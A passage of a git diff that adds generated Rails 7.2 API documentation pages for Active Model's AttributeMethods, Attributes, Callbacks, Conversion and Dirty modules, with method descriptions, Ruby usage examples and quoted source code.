+ Alias for: respond_to? +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/AttributeMethods/ClassMethods.html b/src/7.2/classes/ActiveModel/AttributeMethods/ClassMethods.html new file mode 100644 index 0000000000..d67bda6b13 --- /dev/null +++ b/src/7.2/classes/ActiveModel/AttributeMethods/ClassMethods.html @@ -0,0 +1,660 @@ +--- +title: ActiveModel::AttributeMethods::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + alias_attribute(new_name, old_name) + +

+ + +
+

Allows you to make aliases for attributes.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_suffix '_short?'
+  define_attribute_methods :name
+
+  alias_attribute :nickname, :name
+
+  private
+    def attribute_short?(attr)
+      send(attr).length < 5
+    end
+end
+
+person = Person.new
+person.name = 'Bob'
+person.name            # => "Bob"
+person.nickname        # => "Bob"
+person.name_short?     # => true
+person.nickname_short? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 203
+      def alias_attribute(new_name, old_name)
+        old_name = old_name.to_s
+        new_name = new_name.to_s
+        self.attribute_aliases = attribute_aliases.merge(new_name => old_name)
+        aliases_by_attribute_name[old_name] << new_name
+        eagerly_generate_alias_attribute_methods(new_name, old_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_alias(name) + +

+ + +
+

Returns the original name for the alias name

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 245
+      def attribute_alias(name)
+        attribute_aliases[name.to_s]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_alias?(new_name) + +

+ + +
+

Is new_name an alias?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 240
+      def attribute_alias?(new_name)
+        attribute_aliases.key? new_name.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_method_affix(*affixes) + +

+ + +
+

Declares a method available for all attributes with the given prefix and suffix. Uses method_missing and respond_to? to rewrite the method.

+ +
#{prefix}#{attr}#{suffix}(*args, &block)
+
+ +

to

+ +
#{prefix}attribute#{suffix}(#{attr}, *args, &block)
+
+ +

An #{prefix}attribute#{suffix} instance method must exist and accept at least the attr argument.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_affix prefix: 'reset_', suffix: '_to_default!'
+  define_attribute_methods :name
+
+  private
+    def reset_attribute_to_default!(attr)
+      send("#{attr}=", 'Default Name')
+    end
+end
+
+person = Person.new
+person.name                         # => 'Gem'
+person.reset_name_to_default!
+person.name                         # => 'Default Name'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 175
+      def attribute_method_affix(*affixes)
+        self.attribute_method_patterns += affixes.map! { |affix| AttributeMethodPattern.new(**affix) }
+        undefine_attribute_methods
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_method_prefix(*prefixes, parameters: nil) + +

+ + +
+

Declares a method available for all attributes with the given prefix. Uses method_missing and respond_to? to rewrite the method.

+ +
#{prefix}#{attr}(*args, &block)
+
+ +

to

+ +
#{prefix}attribute(#{attr}, *args, &block)
+
+ +

An instance method #{prefix}attribute must exist and accept at least the attr argument.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_prefix 'clear_'
+  define_attribute_methods :name
+
+  private
+    def clear_attribute(attr)
+      send("#{attr}=", nil)
+    end
+end
+
+person = Person.new
+person.name = 'Bob'
+person.name          # => "Bob"
+person.clear_name
+person.name          # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 106
+      def attribute_method_prefix(*prefixes, parameters: nil)
+        self.attribute_method_patterns += prefixes.map! { |prefix| AttributeMethodPattern.new(prefix: prefix, parameters: parameters) }
+        undefine_attribute_methods
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_method_suffix(*suffixes, parameters: nil) + +

+ + +
+

Declares a method available for all attributes with the given suffix. Uses method_missing and respond_to? to rewrite the method.

+ +
#{attr}#{suffix}(*args, &block)
+
+ +

to

+ +
attribute#{suffix}(#{attr}, *args, &block)
+
+ +

An attribute#{suffix} instance method must exist and accept at least the attr argument.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_suffix '_short?'
+  define_attribute_methods :name
+
+  private
+    def attribute_short?(attr)
+      send(attr).length < 5
+    end
+end
+
+person = Person.new
+person.name = 'Bob'
+person.name          # => "Bob"
+person.name_short?   # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 140
+      def attribute_method_suffix(*suffixes, parameters: nil)
+        self.attribute_method_patterns += suffixes.map! { |suffix| AttributeMethodPattern.new(suffix: suffix, parameters: parameters) }
+        undefine_attribute_methods
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + define_attribute_method(attr_name, _owner: generated_attribute_methods, as: attr_name) + +

+ + +
+

Declares an attribute that should be prefixed and suffixed by ActiveModel::AttributeMethods.

+ +

To use, pass an attribute name (as string or symbol). Be sure to declare define_attribute_method after you define any prefix, suffix or affix method, or they will not hook in.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_suffix '_short?'
+
+  # Call to define_attribute_method must appear after the
+  # attribute_method_prefix, attribute_method_suffix or
+  # attribute_method_affix declarations.
+  define_attribute_method :name
+
+  private
+    def attribute_short?(attr)
+      send(attr).length < 5
+    end
+end
+
+person = Person.new
+person.name = 'Bob'
+person.name        # => "Bob"
+person.name_short? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 311
+      def define_attribute_method(attr_name, _owner: generated_attribute_methods, as: attr_name)
+        ActiveSupport::CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|
+          attribute_method_patterns.each do |pattern|
+            define_attribute_method_pattern(pattern, attr_name, owner: owner, as: as)
+          end
+          attribute_method_patterns_cache.clear
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + define_attribute_methods(*attr_names) + +

+ + +
+

Declares the attributes that should be prefixed and suffixed by ActiveModel::AttributeMethods.

+ +

To use, pass attribute names (as strings or symbols). Be sure to declare define_attribute_methods after you define any prefix, suffix, or affix methods, or they will not hook in.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name, :age, :address
+  attribute_method_prefix 'clear_'
+
+  # Call to define_attribute_methods must appear after the
+  # attribute_method_prefix, attribute_method_suffix or
+  # attribute_method_affix declarations.
+  define_attribute_methods :name, :age, :address
+
+  private
+    def clear_attribute(attr)
+      send("#{attr}=", nil)
+    end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 272
+      def define_attribute_methods(*attr_names)
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |owner|
+          attr_names.flatten.each do |attr_name|
+            define_attribute_method(attr_name, _owner: owner)
+            aliases_by_attribute_name[attr_name.to_s].each do |aliased_name|
+              generate_alias_attribute_methods owner, aliased_name, attr_name
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_alias_attribute_methods(code_generator, new_name, old_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 217
+      def generate_alias_attribute_methods(code_generator, new_name, old_name)
+        ActiveSupport::CodeGenerator.batch(code_generator, __FILE__, __LINE__) do |owner|
+          attribute_method_patterns.each do |pattern|
+            alias_attribute_method_definition(code_generator, pattern, new_name, old_name)
+          end
+          attribute_method_patterns_cache.clear
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + undefine_attribute_methods() + +

+ + +
+

Removes all the previously dynamically defined methods from the class, including alias attribute methods.

+ +
class Person
+  include ActiveModel::AttributeMethods
+
+  attr_accessor :name
+  attribute_method_suffix '_short?'
+  define_attribute_method :name
+  alias_attribute :first_name, :name
+
+  private
+    def attribute_short?(attr)
+      send(attr).length < 5
+    end
+end
+
+person = Person.new
+person.name = 'Bob'
+person.first_name  # => "Bob"
+person.name_short? # => true
+
+Person.undefine_attribute_methods
+
+person.name_short? # => NoMethodError
+person.first_name  # => NoMethodError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attribute_methods.rb, line 375
+      def undefine_attribute_methods
+        generated_attribute_methods.module_eval do
+          undef_method(*instance_methods)
+        end
+        attribute_method_patterns_cache.clear
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Attributes.html b/src/7.2/classes/ActiveModel/Attributes.html new file mode 100644 index 0000000000..b48f07c97d --- /dev/null +++ b/src/7.2/classes/ActiveModel/Attributes.html @@ -0,0 +1,218 @@ +--- +title: ActiveModel::Attributes +layout: default +--- +
+ +
+
+ +
+ +

Active Model Attributes

+ +

The Attributes module allows models to define attributes beyond simple Ruby readers and writers. Similar to Active Record attributes, which are typically inferred from the database schema, Active Model Attributes are aware of data types, can have default values, and can handle casting and serialization.

+ +

To use Attributes, include the module in your model class and define your attributes using the attribute macro. It accepts a name, a type, a default value, and any other options supported by the attribute type.

+ +

Examples

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :active, :boolean, default: true
+end
+
+person = Person.new
+person.name = "Volmer"
+
+person.name # => "Volmer"
+person.active # => true
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attribute_names() + +

+ + +
+

Returns an array of attribute names as strings.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :age, :integer
+end
+
+person = Person.new
+person.attribute_names # => ["name", "age"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attributes.rb, line 146
+    def attribute_names
+      @attributes.keys
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes() + +

+ + +
+

Returns a hash of all the attributes with their names as keys and the values of the attributes as values.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :age, :integer
+end
+
+person = Person.new
+person.name = "Francesco"
+person.age = 22
+
+person.attributes # => { "name" => "Francesco", "age" => 22}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attributes.rb, line 131
+    def attributes
+      @attributes.to_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Attributes/ClassMethods.html b/src/7.2/classes/ActiveModel/Attributes/ClassMethods.html new file mode 100644 index 0000000000..ca1e484bd2 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Attributes/ClassMethods.html @@ -0,0 +1,194 @@ +--- +title: ActiveModel::Attributes::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attribute(name, cast_type = nil, default: nil, **options) + + +

+ + +
+

Defines a model attribute. In addition to the attribute name, a cast type and default value may be specified, as well as any options supported by the given cast type.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :active, :boolean, default: true
+end
+
+person = Person.new
+person.name = "Volmer"
+
+person.name   # => "Volmer"
+person.active # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attributes.rb, line 59
+      def attribute(name, ...)
+        super
+        define_attribute_method(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_names() + +

+ + +
+

Returns an array of attribute names as strings.

+ +
class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :age, :integer
+end
+
+Person.attribute_names # => ["name", "age"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/attributes.rb, line 74
+      def attribute_names
+        attribute_types.keys
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_for_attribute(attribute_name, &block) + + +

+ + +
+

Returns the type of the specified attribute after applying any modifiers. This method is the only valid source of information for anything related to the types of a model’s attributes. The return value of this method will implement the interface described by ActiveModel::Type::Value (though the object itself may not subclass it).

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Callbacks.html b/src/7.2/classes/ActiveModel/Callbacks.html new file mode 100644 index 0000000000..e6d8b96da6 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Callbacks.html @@ -0,0 +1,220 @@ +--- +title: ActiveModel::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Active Model Callbacks

+ +

Provides an interface for any class to have Active Record like callbacks.

+ +

Like the Active Record methods, the callback chain is aborted as soon as one of the methods throws :abort.

+ +

First, extend ActiveModel::Callbacks from the class you are creating:

+ +
class MyModel
+  extend ActiveModel::Callbacks
+end
+
+ +

Then define a list of methods that you want callbacks attached to:

+ +
define_model_callbacks :create, :update
+
+ +

This will provide all three standard callbacks (before, around and after) for both the :create and :update methods. To implement, you need to wrap the methods you want callbacks on in a block so that the callbacks get a chance to fire:

+ +
def create
+  run_callbacks :create do
+    # Your create action methods here
+  end
+end
+
+ +

Then in your class, you can use the before_create, after_create, and around_create methods, just as you would in an Active Record model.

+ +
before_create :action_before_create
+
+def action_before_create
+  # Your code here
+end
+
+ +

When defining an around callback remember to yield to the block, otherwise it won’t be executed:

+ +
around_create :log_status
+
+def log_status
+  puts 'going to call the block...'
+  yield
+  puts 'block successfully called.'
+end
+
+ +

You can choose to have only specific callbacks by passing a hash to the define_model_callbacks method.

+ +
define_model_callbacks :create, only: [:after, :before]
+
+ +

Would only create the after_create and before_create callback methods in your class.

+ +

NOTE: Defining the same callback multiple times will overwrite previous callback definitions.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + define_model_callbacks(*callbacks) + +

+ + +
+

define_model_callbacks accepts the same options define_callbacks does, in case you want to overwrite a default. Besides that, it also accepts an :only option, where you can choose if you want all types (before, around or after) or just some.

+ +
define_model_callbacks :initialize, only: :after
+
+ +

Note, the only: <type> hash will apply to all callbacks defined on that method call. To get around this you can call the define_model_callbacks method as many times as you need.

+ +
define_model_callbacks :create,  only: :after
+define_model_callbacks :update,  only: :before
+define_model_callbacks :destroy, only: :around
+
+ +

Would create after_create, before_update, and around_destroy methods only.

+ +

You can pass in a class to before_<type>, after_<type> and around_<type>, in which case the callback will call that class’s <action>_<type> method passing the object that the callback is being called on.

+ +
class MyModel
+  extend ActiveModel::Callbacks
+  define_model_callbacks :create
+
+  before_create AnotherClass
+end
+
+class AnotherClass
+  def self.before_create( obj )
+    # obj is the MyModel instance that the callback is being called on
+  end
+end
+
+ +

NOTE: method_name passed to define_model_callbacks must not end with !, ? or =.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/callbacks.rb, line 109
+    def define_model_callbacks(*callbacks)
+      options = callbacks.extract_options!
+      options = {
+        skip_after_callbacks_if_terminated: true,
+        scope: [:kind, :name],
+        only: [:before, :around, :after]
+      }.merge!(options)
+
+      types = Array(options.delete(:only))
+
+      callbacks.each do |callback|
+        define_callbacks(callback, options)
+
+        types.each do |type|
+          send("_define_#{type}_model_callback", self, callback)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Conversion.html b/src/7.2/classes/ActiveModel/Conversion.html new file mode 100644 index 0000000000..a80305caff --- /dev/null +++ b/src/7.2/classes/ActiveModel/Conversion.html @@ -0,0 +1,334 @@ +--- +title: ActiveModel::Conversion +layout: default +--- +
+ +
+
+ +
+ +

Active Model Conversion

+ +

Handles default conversions: to_model, to_key, to_param, and to_partial_path.

+ +

Let’s take for example this non-persisted object.

+ +
class ContactMessage
+  include ActiveModel::Conversion
+
+  # ContactMessage are never persisted in the DB
+  def persisted?
+    false
+  end
+end
+
+cm = ContactMessage.new
+cm.to_model == cm  # => true
+cm.to_key          # => nil
+cm.to_param        # => nil
+cm.to_partial_path # => "contact_messages/contact_message"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + param_delimiter + +

+ + +
+

Accepts a string that will be used as a delimiter of object’s key values in the β€˜to_param` method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/conversion.rb, line 32
+      class_attribute :param_delimiter, instance_reader: false, default: "-"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + to_key() + +

+ + +
+

Returns an Array of all key attributes if any of the attributes is set, whether or not the object is persisted. Returns nil if there are no key attributes.

+ +
class Person
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+end
+
+person = Person.new(1)
+person.to_key # => [1]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/conversion.rb, line 67
+    def to_key
+      key = respond_to?(:id) && id
+      key ? Array(key) : nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_model() + +

+ + +
+

If your object is already designed to implement all of the Active Model you can use the default :to_model implementation, which simply returns self.

+ +
class Person
+  include ActiveModel::Conversion
+end
+
+person = Person.new
+person.to_model == person # => true
+
+ +

If your model does not act like an Active Model object, then you should define :to_model yourself returning a proxy object that wraps your object with Active Model compliant methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/conversion.rb, line 49
+    def to_model
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Returns a string representing the object’s key suitable for use in URLs, or nil if persisted? is false.

+ +
class Person
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    true
+  end
+end
+
+person = Person.new(1)
+person.to_param # => "1"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/conversion.rb, line 90
+    def to_param
+      (persisted? && (key = to_key) && key.all?) ? key.join(self.class.param_delimiter) : nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_partial_path() + +

+ + +
+

Returns a string identifying the path associated with the object. ActionPack uses this to find a suitable partial to represent the object.

+ +
class Person
+  include ActiveModel::Conversion
+end
+
+person = Person.new
+person.to_partial_path # => "people/person"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/conversion.rb, line 103
+    def to_partial_path
+      self.class._to_partial_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Dirty.html b/src/7.2/classes/ActiveModel/Dirty.html new file mode 100644 index 0000000000..1d30f85a07 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Dirty.html @@ -0,0 +1,1072 @@ +--- +title: ActiveModel::Dirty +layout: default +--- +
+ +
+
+ +
+ +

Active Model Dirty

+ +

Provides a way to track changes in your object in the same way as Active Record does.

+ +

The requirements for implementing ActiveModel::Dirty are:

+
  • +

    include ActiveModel::Dirty in your object.

    +
  • +

    Call define_attribute_methods passing each method you want to track.

    +
  • +

    Call *_will_change! before each change to the tracked attribute.

    +
  • +

    Call changes_applied after the changes are persisted.

    +
  • +

    Call clear_changes_information when you want to reset the changes information.

    +
  • +

    Call restore_attributes when you want to restore previous data.

    +
+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::Dirty
+
+  define_attribute_methods :name
+
+  def initialize
+    @name = nil
+  end
+
+  def name
+    @name
+  end
+
+  def name=(val)
+    name_will_change! unless val == @name
+    @name = val
+  end
+
+  def save
+    # do persistence work
+
+    changes_applied
+  end
+
+  def reload!
+    # get the values from the persistence layer
+
+    clear_changes_information
+  end
+
+  def rollback!
+    restore_attributes
+  end
+end
+
+ +

A newly instantiated Person object is unchanged:

+ +
person = Person.new
+person.changed? # => false
+
+ +

Change the name:

+ +
person.name = 'Bob'
+person.changed?       # => true
+person.name_changed?  # => true
+person.name_changed?(from: nil, to: "Bob") # => true
+person.name_was       # => nil
+person.name_change    # => [nil, "Bob"]
+person.name = 'Bill'
+person.name_change    # => [nil, "Bill"]
+
+ +

Save the changes:

+ +
person.save
+person.changed?      # => false
+person.name_changed? # => false
+
+ +

Reset the changes:

+ +
person.previous_changes         # => {"name" => [nil, "Bill"]}
+person.name_previously_changed? # => true
+person.name_previously_changed?(from: nil, to: "Bill") # => true
+person.name_previous_change     # => [nil, "Bill"]
+person.name_previously_was      # => nil
+person.reload!
+person.previous_changes         # => {}
+
+ +

Rollback the changes:

+ +
person.name = "Uncle Bob"
+person.rollback!
+person.name          # => "Bill"
+person.name_changed? # => false
+
+ +

Assigning the same value leaves the attribute unchanged:

+ +
person.name = 'Bill'
+person.name_changed? # => false
+person.name_change   # => nil
+
+ +

Which attributes have changed?

+ +
person.name = 'Bob'
+person.changed # => ["name"]
+person.changes # => {"name" => ["Bill", "Bob"]}
+
+ +

If an attribute is modified in-place then make use of *_will_change! to mark that the attribute is changing. Otherwise Active Model can’t track changes to in-place attributes. Note that Active Record can detect in-place modifications automatically. You do not need to call *_will_change! on Active Record models.

+ +
person.name_will_change!
+person.name_change # => ["Bill", "Bill"]
+person.name << 'y'
+person.name_change # => ["Bill", "Billy"]
+
+ +

Methods can be invoked as name_changed? or by passing an argument to the generic method attribute_changed?("name").

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + *_change + +

+ + +
+

This method is generated for each attribute.

+ +

Returns the old and the new value of the attribute.

+ +
person = Person.new
+person.name = 'Nick'
+person.name_change # => [nil, 'Nick']
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_changed? + +

+ + +
+

This method is generated for each attribute.

+ +

Returns true if the attribute has unsaved changes.

+ +
person = Person.new
+person.name = 'Andrew'
+person.name_changed? # => true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_previous_change + +

+ + +
+

This method is generated for each attribute.

+ +

Returns the old and the new value of the attribute before the last save.

+ +
person = Person.new
+person.name = 'Emmanuel'
+person.save
+person.name_previous_change # => [nil, 'Emmanuel']
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_previously_changed?(**options) + + +

+ + +
+

This method is generated for each attribute.

+ +

Returns true if the attribute previously had unsaved changes.

+ +
person = Person.new
+person.name = 'Britanny'
+person.save
+person.name_previously_changed? # => true
+person.name_previously_changed?(from: nil, to: 'Britanny') # => true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_previously_was + +

+ + +
+

This method is generated for each attribute.

+ +

Returns the old value of the attribute before the last save.

+ +
person = Person.new
+person.name = 'Sage'
+person.save
+person.name_previously_was  # => nil
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_was + +

+ + +
+

This method is generated for each attribute.

+ +

Returns the old value of the attribute.

+ +
person = Person.new(name: 'Steph')
+person.name = 'Stephanie'
+person.name_was # => 'Steph'
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_will_change! + +

+ + +
+

This method is generated for each attribute.

+ +

If an attribute is modified in-place then make use of *_will_change! to mark that the attribute is changing. Otherwise Active Model can’t track changes to in-place attributes. Note that Active Record can detect in-place modifications automatically. You do not need to call *_will_change! on Active Record models.

+ +
person = Person.new('Sandy')
+person.name_will_change!
+person.name_change # => ['Sandy', 'Sandy']
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + attribute_changed?(attr_name, **options) + +

+ + +
+

Dispatch target for *_changed? attribute methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 293
+    def attribute_changed?(attr_name, **options)
+      mutations_from_database.changed?(attr_name.to_s, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_previously_changed?(attr_name, **options) + +

+ + +
+

Dispatch target for *_previously_changed? attribute methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 303
+    def attribute_previously_changed?(attr_name, **options)
+      mutations_before_last_save.changed?(attr_name.to_s, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_previously_was(attr_name) + +

+ + +
+

Dispatch target for *_previously_was attribute methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 308
+    def attribute_previously_was(attr_name)
+      mutations_before_last_save.original_value(attr_name.to_s)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attribute_was(attr_name) + +

+ + +
+

Dispatch target for *_was attribute methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 298
+    def attribute_was(attr_name)
+      mutations_from_database.original_value(attr_name.to_s)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed() + +

+ + +
+

Returns an array with the name of the attributes with unsaved changes.

+ +
person.changed # => []
+person.name = 'bob'
+person.changed # => ["name"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 288
+    def changed
+      mutations_from_database.changed_attribute_names
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed?() + +

+ + +
+

Returns true if any of the attributes has unsaved changes, false otherwise.

+ +
person.changed? # => false
+person.name = 'bob'
+person.changed? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 279
+    def changed?
+      mutations_from_database.any_changes?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_attributes() + +

+ + +
+

Returns a hash of the attributes with unsaved changes indicating their original values like attr => original value.

+ +
person.name # => "bob"
+person.name = 'robert'
+person.changed_attributes # => {"name" => "bob"}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 336
+    def changed_attributes
+      mutations_from_database.changed_values
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changes() + +

+ + +
+

Returns a hash of changed attributes indicating their original and new values like attr => [original value, new value].

+ +
person.changes # => {}
+person.name = 'bob'
+person.changes # => { "name" => ["bill", "bob"] }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 346
+    def changes
+      mutations_from_database.changes
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changes_applied() + +

+ + +
+

Clears dirty data and moves changes to previous_changes and mutations_from_database to mutations_before_last_save respectively.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 265
+    def changes_applied
+      unless defined?(@attributes)
+        mutations_from_database.finalize_changes
+      end
+      @mutations_before_last_save = mutations_from_database
+      forget_attribute_assignments
+      @mutations_from_database = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_*_change + +

+ + +
+

This method is generated for each attribute.

+ +

Clears all dirty data of the attribute: current changes and previous changes.

+ +
person = Person.new(name: 'Chris')
+person.name = 'Jason'
+person.name_change # => ['Chris', 'Jason']
+person.clear_name_change
+person.name_change # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 241
+      attribute_method_suffix "_previously_changed?", "_changed?", parameters: "**options"
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_attribute_changes(attr_names) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 324
+    def clear_attribute_changes(attr_names)
+      attr_names.each do |attr_name|
+        clear_attribute_change(attr_name)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_changes_information() + +

+ + +
+

Clears all dirty data: current changes and previous changes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 318
+    def clear_changes_information
+      @mutations_before_last_save = nil
+      forget_attribute_assignments
+      @mutations_from_database = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previous_changes() + +

+ + +
+

Returns a hash of attributes that were changed before the model was saved.

+ +
person.name # => "bob"
+person.name = 'robert'
+person.save
+person.previous_changes # => {"name" => ["bob", "robert"]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/dirty.rb, line 356
+    def previous_changes
+      mutations_before_last_save.changes
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + restore_*! + +

+ + +
+

This method is generated for each attribute.

+ +

Restores the attribute to the old value.

+ +
person = Person.new
+person.name = 'Amanda'
+person.restore_name!
+person.name # => nil
+
+
